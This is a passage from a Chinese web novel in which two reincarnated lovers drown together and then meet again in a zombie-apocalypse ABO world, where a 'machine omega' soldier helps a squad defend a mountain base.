给沈砚台扯缠在他脚腕上的渔网网线。 肺部遭到挤压,空气越来越少,月轻盈越来越感到痛苦。 就在这时候, 他的脑子里突然闪现出很多, 他没见过但很熟悉的画面。 有自己身穿白衣遭万人摩拜的一幕。 有沈砚台坐在石椅上, 君临天下之姿。 有自己白衣被血染红,哭泣求饶的一幕。 有沈砚台对自己射出一百零八箭的一幕。 这些都让他受到冲击,胸腔涌起不知名的情感。 他抬起头茫然地看着沈砚台。 沈砚台这时候也很痛苦,肺部的氧气快要消耗见底。 见月轻盈傻呆呆地看着他, 以为是他救不了自己的无措。 他现在肯定吓坏了。 沈砚台想笑他。 他一点都不怪他。 他张嘴想对月轻盈说我爱你, 嘴巴瞬间涌进来海水,他只能闭紧嘴巴。 无奈地, 他抬起手,不熟练地对月轻盈比心, 诉说他爱他。 月轻盈看清他的动作后,抿唇, 眼神变得更加鉴定。 他更深入水里, 用尽了力气将网线扯断, 见状,他很开心, 带着沈砚台向上逃。 平静的海面,却不知道海底有多么的汹涌, 命运捉弄人。 渔网尽数扑在了月轻盈身上。 这时候两人肺部里的氧气尽数不剩, 再不逃走,他们两个都会死。 沈砚台慌乱,立刻去扯缠在月轻盈身上的网线,做好了和他一起死的准备。 月轻盈却是抬手拦住了他。 在沈砚台的面前, 学着他的样子,对他比心,诉说爱意。 沈砚台眼睛酸涩,当场泪洒,他不会让月轻盈死的。 见他固执,月轻盈面上带笑,人却是扑到沈砚台身前,张开嘴咬住了沈砚台的肩膀。 疼意让两个人的意思都无比清楚。 沈砚台不依,扯着月轻盈身上的渔网,直到鲜血染了满手。 月轻盈心疼他,爱他,想他活,只能咬他赶他走。 有血液漂浮,月轻盈怔怔看着,他渐渐卸了力气,转眸认真去看沈砚台。 他的力气越来越小了,意识更在消失,他要死了。 也不知道是从哪里来的力气,月轻盈忽然钻到沈砚台的脚下,用自己的背托着他上浮。 水面里有其他人的身影更在赶来,见状,月轻盈的心缓缓落下。 他看着光点落在沈砚台的身上,见他被人救走,心情是石头一般的沉。 可是越来越深的水底,越来越冷的水意,让他又生出恐惧来。 沈砚台…… 沈砚台救救我。 沈砚台被抬出水面,及时呼吸到了新鲜的空气,缓过来一点。 他转头去寻月轻盈的身影。 没有! 想到昏迷前月轻盈弯下腰,现在还有什么不懂的,他肯定是做了什么。 有什么东西要失去,看着水面,他发疯似的要潜下去。 旁边的大哥慢了一拍没救上他。 沈砚台沉入水里,眼前的一幕让他差点泪崩。 月轻盈沉在渔网上面。 他就像那美人鱼,只是睡着了。 沈砚台唇瓣颤抖,情绪不稳,让他吸了好几口水。 他一点点靠近没了气息的月轻盈,眼带深情,伸手摸着他的脸,凑上去亲亲他的眼角。 他执起他的手,用衣服将他两的手捆绑在一起。 他不会逃。 他死也要和他在一起。 沈砚台躺在了月轻盈的身边。 最后一点点氧气被消耗时,巨大的痛苦让沈砚台的身体本能的忍不住挣扎。 每每这时候,沈砚台都会转头去看月轻盈。 他死前是不是也这么痛苦,会害怕,会哭泣,会不会也喊了他的名字? 这一刻,沈砚台用尽所有的抵抗力,去抵制身体的挣扎。 他要和月轻盈在一起。 眼睛渐渐无力合上时,沈砚台心里想的是,真好,这样盈盈不会怪他了吧。 浮在水面得好心大哥们,见水里没了动静,也不敢贸然下去。 天边也开始越来越黑了。 不出意外,暴风雨将再度来临。 收到消息的陆父陆母急匆匆赶来了。 看见的就是自家儿子车车门也没关,人不见了。 岸边上站了很多人,可是怎么都没有他儿子那挺拔的身影。 “我儿子呢?”陆母声音颤抖,她心中有不好的预感,转头去看翻涌的海面,身体瞬间就站不住了。 陆庭等人也不敢相信,他强打起精神去问了岸边的人。 有知情人跟他说了先前的事,陆父瞬间受到了打击,整个人要晕死过去。 陆母在一旁什么都听见了,忍了忍,还是没忍住嚎啕了出来。 “儿啊,我的儿啊,妈妈要是知道事情会这样,妈妈不会不同意你们在一起的。” “都是妈妈错了……” 陆父在一旁也捂着脸呜呜闷哭了起来。 啊,就在这个时候,忽然有人惊呼,有人出来了。 陆母陆父立刻眼带希冀的看过去。 就见沈砚台抱着月轻盈一点点朝岸边靠近。 岸边的人都惊呼不可能。 人怎么可能在水里待一个小时? 确实不可能。 沈砚台死了。 确确实实的死了。 只是死了后他的魔尊心头血催发,让他活了过来,更可笑的事,他的记忆全都恢复了。 他此刻是魔界至尊沈砚台。 他来到岸边,看着陆父陆母眼里没有一点感情,只是开口问话。 “他是谁?” 问的人自然是月轻盈这世和他的纠葛。 不知道为什么,他问得很含糊,可是陆父就是听懂了。 “他……他是被你资助得大学生。” 沈砚台闭眼。 都想起来了。 当初陆父逼他做慈善事业,他游手好闲哪里懂慈善,当时见投资这个简单,就点了投资,他却是不知道,那次是资助大学生。 月轻盈这世也是真傻啊。 因为沈砚台资助了他,就对他有好感,见到真人知道他是好人后就喜欢他了吗? 和他在仙界,变出替身骗他时一模一样。 可是……这次他们连婚礼都没走到。 沈砚台闭闭眼,压抑眼底风暴抱着月轻盈走了。 他的状态十分不对,陆母立刻拽住了他的衣角,“你要去哪?” 沈砚台脚步不停,“和他一起随便去哪。” 留下这句话,沈砚台就消失了。 沈砚台去了下一个世界。 这是天道给他的惩罚。 即使危难时刻他会恢复魔力和记忆,但去下个世界后一切又会被封闭。 第六世是乱世。 末世世界。 风声鹤唳。 断壁下的风景,是楼房倒塌,是死物横行,是满地疮痍。 空气中都是焚烧物体的臭味。 “走了。”一道中气十足的声音从身后传来。 “嗯。”月轻盈应了一声,起身,离开断壁,最后看了一眼已经残破的城市。 汇入部队,月轻盈抬起围巾将自己的口鼻遮掩住,防止气味传出,怕会影响到其他队友。 他是三天前紧急汇入这支队伍的。 他性子冷淡,和这些人不接触,这些人也不喜欢他的样子,甚至是利用他的居心更多。 “队长,咱这次任务完成的这么好,总部干啥给我们送来个omega啊,还是个机器omega。” 机器omega,是总部投入的对战丧尸的作战计划。 这些机器omega,全身都是机甲,坚硬得如磐石,唯独脖子很脆弱,那里装着腺体喷射器。 这些喷射器模仿了omega的信息素,omega的信息素可以吸引丧尸。 机器omega常被用来投入大规模作战,如,设置一个机器omega,释放信息素,将丧尸引入天坑,引/爆/机器omega,一次就可以毁灭掉上万丧尸。 因为机器omega很强。 说话的人是一个胖子,月轻盈不喜欢他,他嘴巴脏,不尊重人,一身肥肉还丑。 月轻盈厌恶地皱皱眉,脚步放慢,坠在队伍后面。 “总部有自己的考量,你少排挤新同志。” 叫队长的人身高八尺,身体强壮的如一座小山,是很沉稳细心温柔的人。 月轻盈眨眼,看了看他,见他回头看向自己,立刻把眼神移开。 沈砚台见新伙伴不理自己,也没有多在意,只是叮嘱胖子道:“还有你别在机器omega这样叫人家,人家有名字叫月轻盈。” 胖子噗笑,“啥?机器omega还有名字?不是只有代号吗?” 他话还没落音,一颗威力十足的石头就砸到了他的头上。 队伍正在行走,担心血味惊扰到丧尸,出手的人很好的控制了力道,却也疼得让胖子蹲下身。 “谁,谁他娘干的!”胖子满脸怒容,一阵跳脚。 队伍里的人都习惯了他的尿性,没人搭理,胖子自觉丢面,再度去找机器omega的麻烦。 “小娘们是不是你干的?啊……” 一只黑脚闪出,猛地踹了胖子的屁股,胖子疼得张嘴欲喊,一只大手捂住了他的嘴。 “我警告过你了。” 胖子疼得泪水都掉下来了。 沈砚台啧,也烦,他知道队伍里有人不服机器omega,总揍他们他们也不服。 想了想,他伸手招呼来月轻盈。 月轻盈看了他一眼,没动。 沈砚台上火,不乖大家不服这个机器omega,这脾气谁不上头? 第100章 100 一分钟 可是自己做为队长, 又他么不能带头欺负新人。 沈砚台忍了忍,亲自走过去请他过来。 月轻盈跟在他身后,看他背部隆起的结实鸡肉, 低头看自己平板的小身材, 轻哼了一声。 沈砚台耳力极好, 不动声色瞄他一眼,两人来到队伍面前。 沈砚台抬手,众人站定。 沈砚台抬手拍月轻盈的肩膀,“正式介绍一下, 新队友, 月轻盈,机器omega, 队里大家都是alpha,对新队友多照顾些。” 月轻盈冷着脸, “我不需要。” 场面冷场。 沈砚台转头瞪着他,“我需要你的照顾好了吧?” 月轻盈迷茫地看向他。 机器omega的信息素只有迷惑丧尸的作用, 可安抚不了alpha, 他们发情了, 他们也只能在旁边看着,必要时帮他们注射上一针抑制剂。 沈砚台戏谑地看着他, “队里都是大老爷们哪有你好看吶。” 拿他调侃来了。 月轻盈闭闭眼,忍气, 没当着这么多人的面子跟他动手。 “切, 我就知道老大你这么维护这个小娘们,就是看他漂亮。” 沈砚台赶紧拦了一下:“话可不是这么说的……” 他话还没说完,就被忍无可忍的月轻盈嗖出拳,哐, 揍飞,撞到了树上。 啪碴,树断成了两截。 沈砚台:“……” 那些瞧不起人的alpha。 见他们目瞪口呆的样子,月轻盈拧眉,哼了一声扭头走开,远远坠在队尾。 刚才那一手却是给予了这些alpha们一个震撼,不过两秒后,他们就跟傻子一样夸夸鼓掌。 “我就说总部送个机器omega来是有深度意义的,这简直就是给我们增加战力嘛。” “帅啊,我是说他的身手,小娘们我那也是在夸他长的好。” “他是总部派发下来的,是不是有啥超绝能力?” 沈砚台没眼看这些老爷们。 性别歧视,能力歧视的问题得到解决,虽然全程中只有沈砚台受伤的世界达成了。 队伍继续前进。 他们这次需要潜入平安山,需要将从其他城市救助的难民送往这里生活,然后……死守平安山! 总部预测将有一波丧尸潮南下,经过平安山,他们若是守不住这里,那么后期刚建造好的基地将尽数被毁坏,人类走上绝路。 这里是一处基地。 平安山是雪山,温度极低,丧尸在这里行动缓慢,漱漱雪花挡住了病毒的扩散。 在丧尸横行的整个末日里,基地不多,但人类取得胜利后就会打造基地。 平安山基地是纯天然,没有任何战火发生的最后一处绿洲。 如果这路能死守下来,这里或成人类战胜丧尸的重要性据点。 此次他们救助了一百多名百姓,共用上了五两大巴,一辆特种车,和一辆坦克。 现在是自由时间。 大家都要吃饭。 炊烟升起,小队队友把守四周,沈砚台见时机成熟,点头示意,队友将车门打开,一百多名百姓陆陆续续下车。 他们都很瘦,衣衫褴褛,头发枯黄,老人小孩居多。 越靠近雪山,远离了城市,食物来源就更少了,这次他们分到的食物也仅有一块饼干,一瓶酸奶和一块面包。 面包早已干硬,但壁吃土好,没有人赶叫屈,都只埋头咬下去。 月轻盈是机器omega,不需要吃饭,但闲来无事,他比拿出机油给自己的关节润滑。 天冷,他极需油脂。 给自己做了个保养,他打眼去看人群,老人小孩居多是不假,可也有男人。 他来这里有一段时间了。 他从未见过这些alpha让这些男人锻炼过,这样不好,他们也是资源,完全可以用来抵御丧尸。 这支队伍,十个人,保护一百多名百姓,简直是找死。 不过这支队伍里有沈砚台,拿下无数功绩,上校军衔的沈砚台,他又别扭的觉得他们能活下来。 月轻盈抿唇,想起来总部交代给他的任务。 混入这支队伍,保护好α病毒,送到T国,那里会有人接待他。 世界有三大国。 末日都来临了。 这些大国总统还在想着统一。 月轻盈不理解,但是他是军人,他的任务就是听从命令,不惜一切代价完成任务。 放风时间结束,待所有人都上车后,队伍出发。 本来像月轻盈这种士兵是该做特种车的,但是他讨厌那些alpha,所以他混入了百姓中。 沈砚台清点自己的队友人数,发现少了一个,仔细想想,哦,少了那个小娘……月轻盈。 “你们见到月轻盈了吗?” “谁?” “算了,他思维方式比较特殊,估计是跟在车队后面。” 沈砚台坐上副驾,主驾小胖看着前面的路,眉头皱了起来。 “队长,开始下雪了,这雪下的小还好,下的大点,下的时间长点,不出两小时这里准得积雪,到时候咱可能得中途下来换车胎。” 换专用的爬山防滑轮胎。 沈砚台算了一下时间,看了一下路况,两小时后他们在山腰。 他们有七辆车,一百多号人,雪势太大的话,换轮胎也不顶用,还不好还会后滑,那处境就更困难了。 他的脸色有些难看了。 他听见了丧尸的吼叫声。 一旦时间耽误,出个什么意外,听不得动静闻不得人味的丧尸就会成群成群的扑过来。 “不,加大马力,我要你在马路有积雪前,翻过这座山。” 最起码,也得在平原地带多带躲过危机才能换轮胎。 小胖:“收到!” 小胖拿起对讲机,将沈砚台的指令传达下去,猛踩油门开始爬山。 还好,这里是少数民族的落脚点,政府对少数民族人群有优待,这里不是山路,而是铺得很漂亮的柏油路。 即使快赶慢赶,雪还是一点点积起来了。 “操,玛德开始打滑了。”小胖为了稳住车把,手臂上青筋都爆出来了。 “队长,咱过了半山腰没?” 沈砚台神色严峻:“还差百分之25的路程。” 他也暴躁的骂出声。 这车他能开,可是他只能开一辆,他们是走了,后面的车队难道不要了? 沈砚台趁着起听了一下动静,用给出了最精准的数据。 “十分钟,所有人只有十分钟时间换轮胎。” 小胖叫了起来,“操,这车他们四个轮子,十分钟!!” 沈砚台冷脸瞅他,“你还有九分钟零50秒。” “操!” 小胖骂了一句,拿起对讲机传达,然后一脚踹开车门,火急火燎开始换车胎。 时间紧迫,车上队员全都下来换车胎。 换车胎的空挡,百姓们就都在一边候着。 越靠近山里气温就越低,小孩子有些受不住就在母亲身边蹦跳着取暖,谁知道他脚下有石子。 不幸还是发生了。 像是蝴蝶效应。 小孩摔倒,流血,血腥味在风中扩散,丧尸们集体活跃,嚎叫着往这边扑了过来。 小孩的母亲瞪大眼,知道孩子闯了祸,不敢出声,只敢在一旁使劲按着他的伤口。 她以为这样会遮掩住点,不会那么快吸引来丧尸的。 忽然一道视线落在她的身上,她抬起头就和目光冰冷的月轻盈对视上。 月轻盈一言不发,只几个攀爬翻越找到了正在换第三个轮胎的沈砚台。 “有小孩受伤了,流血,丧尸估计会在五分钟内到达,咱们得出发了。”月轻盈声音清冷,平静陈述。 沈砚台却是听得火冒三丈,回头就怒吼,“快,只有五分钟时间了,抓紧时间!” 队友们闻言一言不发,手上的速度加快,可是一辆车重达十几二十吨,换车胎哪有这么轻松。 五分钟根本不够用。 月轻盈算着时间,“还有两分钟,你们根本来不及,要不这样,我把那孩子当做诱饵,让他割断他的大动脉,拎到其他地方去,搞不好你们还有一线生机。” 沈砚台盯着他,不怒反笑,“真不错,你把丧尸引过去后,把自己也引爆吧。” 月轻盈耸肩,后退了一步,“还有一分钟。” 丧尸的吼叫如在耳边。 “队长……” 队友们看着剩下还没换完的两个轮子,手速变慢,声音里带上了颤抖。 “闭嘴。” 沈砚台吼他,对众人道:“备好武器,继续换,一分钟后我说攻击,胖子,林远,周盛,王大,跟我,我们五个人死守,其他人在这段时间将七辆车剩下的轮胎全部换完,之后全员归队立刻驱车离开!” 很有魄力,可是计划真的可行吗? 月轻盈抬起头,看向天空,不远处有几个硕大的身影在上空盘旋翱翔。 怎么说自己也有任务需要完成,月轻盈立刻动作起来。 他飞速往森林里跑去,身影极快,如一道闪电。 小胖余光瞥见的,咒骂道:“操,他的超强能力是跑路吗?” 沈砚台愣了一下,迅速集中精神,抬抢瞄准出现的丧尸。 一分钟时间到。 抢声不绝于耳。 沈砚台带领着五人拼死守护! 然而五个人只靠抢火力肯定不足,丧尸如潮水一般,覆盖过来。【你现在阅读的是 】 100-104 第101章 101 ABO 更值得警惕的是盘旋在高空的那些怪物。 沈砚台眉头皱了起来, 海啸般涌来的丧尸让他们五个人的压力倍增。 五个人已经开始有些自顾不暇,忽然,沈砚台心头猛地颤抖起来, 抬头一看, 盘旋在空中的怪物快速扇了几下翅膀, 俯冲着朝他们袭来。 “陈凯!”沈砚台回头吼,就见被他叫到名字的人正在全神贯注的换轮胎。 被他们保护的人此刻正躲在车后。 不行了。 陈凯也抽不出时间 沈砚台急得青筋曝气。 操。 实在被逼急了,他左手持枪,右手抽出来长刀, 横在臂弯。 这是一个防御的动作, 一旦出刀就是大范围伤害,怪物不死也得断个翅膀。 可是怪物只有一个还好说, 沈砚台脸色不好看,不住抬头关注天空的情况。 怪物聚集的越来越来多。 第一只冲下来的怪物张开了翅膀, 露出了藏在其中的两只巨爪,爪尖尖锐, 能瞬间刺破人的身体被他带走。 沈砚台严阵以待。 就在这个时候, 后边的树林里传来了很大很快速跑动的声音。 “队长。”清冽的声音在身后响起。 沈砚台不耐烦回头, 就见月轻盈满脸冷漠,手指勾着一根纤细的绳索。 沈砚台见到他眼瞳一锁 就要暴怒地骂他赶紧加入战场。 月轻盈不急不缓, 轻轻松开了绳索。 他身后的树林,百树摇曳, 破空声犀利, 无数根被削地很是锋利的树枝从树影中穿梭出来。 噗嗤。 咻。 是怪物身体被击中的身影。 看着不断从天空掉落地面到的怪物,沈砚台愣愣地看着月轻盈。 “队长,没事了。” 月轻盈抽出抢,不断对着扑过来的丧尸扫射他瞄了一眼陈凯等人。 车子轮胎已经换好, 人们正有秩序快速地进入到车辆里。 “你们也去车里哪,这里交给我善后。”月轻盈从背后掏出小型短炮,架在肩头。 沈砚台目光复杂:“还有这么多丧尸,你一个人真的可以?” 月轻盈轻飘飘扫他一眼,扣动了扳机。 轰! 一阵巨响之后,是一阵燃气的庞大的烟体,无数的丧尸被瞬间炸成粉末。 沈砚台脸色一变,几乎没有犹豫,喊上其他唔位队友,迅速朝车内进发。 月轻盈见他们都往车里退,嘴角翘着,没了他们妨碍,他杀起丧尸来就不用束手束脚了。 月轻盈迅速转身朝树林里跑过去,回头看了一眼,见沈砚台他们的车已经出发,脚步更加快速。 丧尸被一截炮管拦住,已然追不上车了,气的吱哇乱叫,朝月轻盈消失的方向追了过去。 月轻盈此刻蹲守在树的枝丫上,见丧尸大量涌进来,只是歪头沉默的点了一支烟。 随即拿出一个□□,将烟头点头引信上,扔了过去。 扔在了他事先准备好的着火点上。 他刚才跑动试探了一下这小片树林的范围大概两千米。 他放火烧林,这里的丧尸大概都会被消灭。 轰! 火光乍亮。 火舍迅速吞噬者周围的一切。 月轻盈站起身,看着脚下犹如火海的一幕,见那些丧尸扭曲着身体被燃烧殆尽,面不改色,扭头走了。 两公里外,过了长坡,沈砚台下了命令停车。 小胖坐在车内,看着大雪,冷的裹紧了棉服,“队长,咱等那个娘们……” 啪。 他话还没有说完,就被沈砚台严肃地教训了,“人家刚刚才救了我们的命。” 小胖脸上尴尬,“我那不是叫习惯了吗?” “虽然说那家伙确实救了咱们,但是咱们也等太久了吧,十分钟了,你看着雪下的都有小腿高了。” “闭嘴。” 沈砚台闭着眼,看似养神,实则也是在算着时间,一分钟要是一分钟内月轻盈赶不上来他们就只能抛下他了。 积雪越来越厚,前路难行,温度也越来越低他们得赶快越过雪区,要尽快找到地方休憩。 和丧尸对战一场后,他们的武器也得补充。 这到了平安山他们还得去物资地点找物资,一堆事,留给他们的时间根本不多。 就在他胡思乱想的时候,车顶突然传来咚的一声轻响。 感受着车身小小的震动,沈砚台嘴角噙着笑,睁开眼 对小胖道:“开车吧。” 这下轮到小胖惊讶了:“啊?咱真走啊,不是……哥……咱们再等一等也不是不行。” “走。”沈砚台无奈,又伸手打了小胖的脑袋:“他来了。” 小胖便四处转头找他在哪。 沈砚台没有说话,只是太瘦指了指车顶。 小胖了然,轻笑了一下发动了车子,“机器omega就是不得了,都不怕冷。” 沈砚台让小胖少说话,多开车,他自己则是起身,打开了车门,脚蹬扶手,看向车顶。 月轻盈已经浑身都落雪,差点将他的眉眼口鼻都捂住。 沈砚台来了的动静他听到了,但他不想理睬他。 沈砚台看了他一会,觉得这个omega真有意思,他回到车里一阵翻翻找找,找到了一把伞,再度回到车门边。 这次他没有旁观,而是脚一蹬,爬上了车顶,将那把伞递给了月轻盈。 “我知道你不冷,但是这雪也很扰人,要是在上面坐够了就回来车里,车门我不关了。”沈砚台把伞放在月轻盈的身边,话说完就走了。 月轻盈瞟了一眼伞,等沈砚台走了之后,撑开。 伞骨断了几根,伞面还有个破洞,画面有点好笑,但月轻盈却是将他撑在了脑袋上方。 风雪不在往他身上扑来,他却不用担心风雪停留在他身上。 大概过了半个小时,听着车顶传来的走动声,和车门被关上的声音,沈砚台闭眼了,这次是真的休憩了。 花了三个多小时,越过了雪区,真正的进入到了基地。 基地外面,如他们所想,做了很多防守工作,木桩,热武器,还有投石车,这些力量在丧尸过境时根本就是螳臂挡车。 可是聊胜于无。 “队长,现在怎么办?”小胖看着这森严的防守,有些苦恼道:“这个基地的人看起来不太友善啊。” “末日面前,人人自危,各个国家的内斗也都是问题,我们虽然国家兵,但他们也不知道我们是不是间谍假扮的。” 沈砚台扫了一眼车后,“我们又带了那么多张嘴来,吃他们喝他们的,是你,你会欢迎我们吗?” 小胖不说话了。 沈砚台扫视了一圈周围,看到了好几处类似马厩的地方,“咱们先歇在那里吧。” 看到马厩,小胖的脸立刻皱皱巴巴。 安顿了所有人,沈砚台点名留下了小胖、陈凯等人看护好这些百姓。 他则是和林远、王大、周省等人坐了另一辆轻便的车,打算去空投点捡点物资和热武器。 现在整个末日,不适合多人作战了,像他们这样小规模的队伍很多。 这些队伍大多由少将军衔军人组成,都是国家的宝藏资源,国家为了这些队伍可以活下来,设定了很多空投点。 平安山山脚下不远处的C城就有一个空投点。 如果他们运气好,收获满满。 运气不好,遇到扎堆蹲守在那里的丧尸可能会丧命。 这也是最近国家难攻克的疑难杂症。 丧尸喜热,热武器散发的能量他们喜欢,食物的能量他们喜欢。 他们更是聪明的知道会有人类会去那里冒险。“不过现在雪季,丧尸们搞不好会南下。”沈砚台想的比较轻松,实际上心情异常沉重。 就在他们为这次出发不知生死担忧的时候,月轻盈从车上走了下来。 堂而皇之,当着所有的人敲响了木桩。 沈砚台脸色一黑,上前抓住了他的手:“你在干嘛?” 月轻盈说:“回家。” 沈砚台:“???” 在众人觉得他是不是脑子坏了的时候,被严防死守的门还就真的打开了。 这下子所有人的脸都黑了。 月轻盈往里面走的时候,也有人打算跟着混进去,很快就被人手持长抢给逼得退后了。 众人汗颜。 “老大,这个小娘们……不是……这个小子到底是什么身份?”王大有些羡慕了。 沈砚台看了一眼合起来的门,目光悠远道:“啧,你们是真的不做功课啊,平安山里都omega。” 所有人:“……” 小胖说:“哦,那在他们眼里,咱们就是流氓呗。” 沈砚台憋笑,点点头,“你还是有点自知之明的。” 王大疑惑:“不是……他们不需要男人嘛?我们这样强壮的alpha?” 沈砚台拍了拍他的肩膀说:“如果这次我们在平安山基地拦截下丧尸,等山河重整,百姓安居乐业,我就带你来这里相亲。” 王大:“……” 王大:“我坚信恋爱自由,相亲的不要。” 沈砚台:“出发。” 几人整装待发,速速穿戴好装备,出发,向c市进发。 月轻盈到了平安山基地里,这里的大长老给他安排了个房间。 他洗了个热水澡,检查了身体各方面的数值,检查了一下信息素喷射器。 喷射器的信息素液体掉到了安全数值临界点。 月轻盈神色无常,穿戴好衣服从平安山借了一辆摩托车,趁着夜色出发,去c市寻找信息素补充器。 第102章 我盯着他笑了? 想让国家更改法律…… 抵达C市, 很快月轻盈就疑惑了起来,摩托车的引擎噪音很大,这个时候丧尸应该早就扑过来了。 但是没有, 一只都没有。 催虽然知道可能是空投点热武器散发的热量将丧尸吸引了过去, 但得是什么样的热武器能用这么大的威力。 月轻盈开着摩托车穿越街道, 找到了一家药店,在这里搜刮到信息素补充器。 给自己补完,他又装了几只,骑着摩托车打算折返。 “操, 他妈的, 快跑,沈砚台我一定要弄死你!”王大的声音及其愤怒。 月轻盈回头。 就看到轰然炸开的火焰中, 王大小胖的身影格外的显眼,他两身上还背着沉重的东西, 应该是武器,他们的脚步声都不一样了。 但是他们就用跑的? 月轻盈骑着摩托车到两人面前, “沈砚台在哪?” “小娘们?……不是, 你怎么在这里?这车给我们的?”王大见月轻盈把车让出来, 有些不可思议。 “嗯,告诉我沈砚台在哪里, 这辆车归你们。”月轻盈放开了车把手。 “我们拿完武器,老大让我们先走, 现在应该是在忙着逃命, 就在那个爆炸点。”王大回头指着还有火光的地方。 话音一落,他身边就有一道身影越过了他。 月轻盈的身影已经隐匿进了夜色中。 “不是……这哥们就这么单枪匹马的过去?”王大目瞪口呆。 “是啊,他甚至车都不骑一个,牛啊。”小胖瞠目结舌。 现场的气味太多了, 月轻盈没法分辨沈砚台的气味在哪里。 直到又一道爆炸声响起,他迅速锁定地点。 一辆改装车周边围着的丧尸群可怖。 “妈的,刚拿回来还没热乎的炸/弹,就这么少了五个,心疼啊!”陈凯不住骂这些丧尸。 “老大,现在咱们怎么办?”陈凯看着这些丧尸,感到窒息。 “压过去!”沈砚台猛踩油门,倾压这些丧尸,但丧尸很聪明,爬上了车顶。 他们不住地啃咬车顶的钢板皮,声音可怕。 即使知道丧尸门咬穿车体需要很多时间,但对沈砚台他们来说总是不够的。 他们得逃。 就在这个时候,沈砚台忽然皱了一下鼻子,“这里怎么会有omega的味道?” “搞不好死的丧尸里有omega”陈凯忽然看见了,不可置信地喊沈砚台,让他看。 “老大,你看前面……” 沈砚台顺着陈凯手指的方向看过去,一道人影站在不远处的高楼上。 他的胳膊不断地挥舞,仔细一看,是有什么东西被他不断地抛掷下来。 沈砚台心里不知为何陡然冒出来一道身影,他拿出望远镜,就见到了绷着一张小脸的月轻盈。 “这个人……”沈砚台表情严肃了起来。 “快快快,突围!”沈砚台脚下的油门再度被踩到底。 omega的信息素可以很有效的吸引丧尸。 围着车辆的丧尸有大半朝着月轻盈在的方向飞速跑了过去。 沈砚台等人轻松了不少,发动车子总算是能移动了。 然而,刚闯开一条路,沈砚台去接月轻盈的路上,忽然发现有几道身影正在往大楼上攀爬。 是丧尸狗。 病毒来临,从人群中扩散,被人类牵着的宠物也受到了影响。 它们吃过了腐肉,病毒浓度高,直接变异了,爪子成了钩子,犬牙横生交错,身躯庞大,一旦被抓住必死无疑。 距离太远,沈砚台想要传达让月轻盈警惕的话根本传达不到。 “老大……”陈凯显然也看到了丧尸狗。 沈砚台看了看周边,沉着脸,忽然打开车窗,朝其中一个丧尸狗丢去了一个闪光弹。 月轻盈看到了,迅速后退,但他的余光也撇到了有一个丧尸在沈砚台的身后冒出来。 只要他一口下去,必会咬穿沈砚台的喉管。 “沈……”月轻盈的声音还没喊出去,身前就扑过来一只丧尸狗。 他迅速下楼不断借着高点朝沈砚台接近,下方的丧尸从他的脚底穿过,危险丛生。 沈砚台从车后视镜看到了丧尸的身影,迅速用手肘抵住了他的额头,拿出抢爆头。 重新坐回车内,沈砚台没有丝毫犹豫,他要去接月轻盈。 两人交汇时,丧尸们一拥而上。 月轻盈讲车顶的丧尸扫落,沈砚台即使给他递了一把枪,他脚下用力,汽油燃烧,动力到达极点,车子冲飞出去。 丧尸狗在后面穷追不舍,陈凯丢了几个炸/弹,丧尸狗成了块状狗。 等他们突围出来,已经天光大亮。 到了平安山基地山脚下,沈砚台停车,月轻盈从车顶下来坐入车内。 沈砚台转头看他,见他白嫩嫩地脸上沾到了丧尸的腐肉,赶紧伸手跟他弹走。 “这次能掏出来全靠月老板。”死里逃生,陈凯也快辨出实力顶端。 沈砚台看了他一眼,没说话。 他又看向闭上眼睛打算睡觉的月轻盈,唇角勾了一下,重新发动了车子。 到了基地,几人下车,才发现王大和胖子早已等候多时。 他们的身边堆砌的都是武器。 沈砚台很满意。 陈凯走上来和他们相拥。 “老大真不是人啊,非要把东西全薅走,差点小命都在那里了。”陈凯哭的还挺像样子。 王大安抚性拍了拍他,“老大就不是人,但你居然让他活着回来,甄嬛传你是白看了?” 小胖在旁边捂着肚子笑,然后走到发呆的月轻盈面前道谢。 沈砚台这才知道月轻盈居然还救了自己两个队友。 要不是有车子,面对丧尸和隐藏的丧尸狗,王大和小胖,真的不一定能带着武器全身而退。 “我该怎么谢谢你?”沈砚台看着月轻盈优越的侧脸,脸上带着笑。 “杀光丧尸,拯救国家。”月轻盈看了他一眼,回去了。 “这小娘们真霸道强势哈……但是人家有那个实力,咱骂不着人家一点。” 稍做休整,沈砚台等人在平安山基地待了五天。 统计了一下武器,让战士们恢复精力,不懈怠地比画拳脚,终于,他们决定出发了。 前往平安山基地前方的w镇,做好防线,阻止丧尸群进攻平安山基地。 月轻盈的任务是护α病毒去T国。 但是他看着布置陷阱,架起炮台,汽油为界,努力的沈砚台小队,又看看身后不远处的平安山,他选择……留下来。 如果平安山基地不在,他的α病毒送到了T国,估计也无用了。 他要在这里跟这个小队一起,守护好平安山,消灭丧尸,然后将病毒送往T国。 改变所有人类的命运! 忙的一身都是汗的王大,看着坐在车上晒太阳的月轻盈,不满地朝沈砚台嚷嚷。 “老大,你能管管吗?” “咱累死累活,他搁着跟来度假似地,完全打击了我们的士气!”王大还挺会比喻。 “你闭嘴吧,人家都以自身为炸/弹,做为武器了,你还不让人家歇歇?再者说,人家一旦投入到丧尸群里,杀的丧尸论万单位算的,我都不敢惹他,忍忍,咱忍忍。” “不是……,忍忍没事,但你不能去说说嘛?咱看着也好受些,你看看你,一天天地就盯着他傻笑,那咋行,队伍气势更弱了好吗?”王大都要被这个玩双标的队长刺激无语了。 沈砚台收起脸上的傻笑,“我盯着他笑了?” “嗯呐……”王大点头。 一盘的小胖和陈凯加入对话,嗯呐嗯呐个不停。 沈砚台怒而愤起,指着月轻盈:“我去说说他!” 王大:“……” 小胖:“……” 陈凯嘎嘎乐,“老大的脸皮有多厚你们又不是不知道,明明自己想跟人家说画,还装出是咱们逼得,老大是真不要脸。” 沈砚台到了月轻盈那儿,目光先是从他白嫩嫩的脸上游走了一遍,最后落在他的手心里。 有一颗小橘子夺目。 “谁给的?”沈砚台知道肯定是那些百姓去找食物的时候发现的,带回来送给了月轻盈。 “他们。”月轻盈眼眸看了一眼忙着做饭的百姓们。 “他们为什么愿意来。”月轻盈不理解。 这些百姓是自发自动来帮忙的,听闻沈砚台小队要在这里以十人之躯抵挡百万丧尸,怎么都不肯留在基地里。 按他们的话说,他们可以给他们做饭,不懂兵器武器,但是能给他们帮帮忙,比如倒汽油什么的。 “国难来临,人类就快要灭绝,该是想到我们赢了就能让人类有延续,所以不怕牺牲赶来帮忙了。” “你不也是?”沈砚台点出来:“你这个机器omega该是有任务在身的。” 月轻盈:“我是进行了综合考虑,觉得留下来比较好,才没有走。” 现在丧尸横行,他一个机器omega,玩几天完成任务,或者是完不成任务都是很平常的事。 他认为,他携带的α病毒应该不止一份,国家做事不会不算风险。 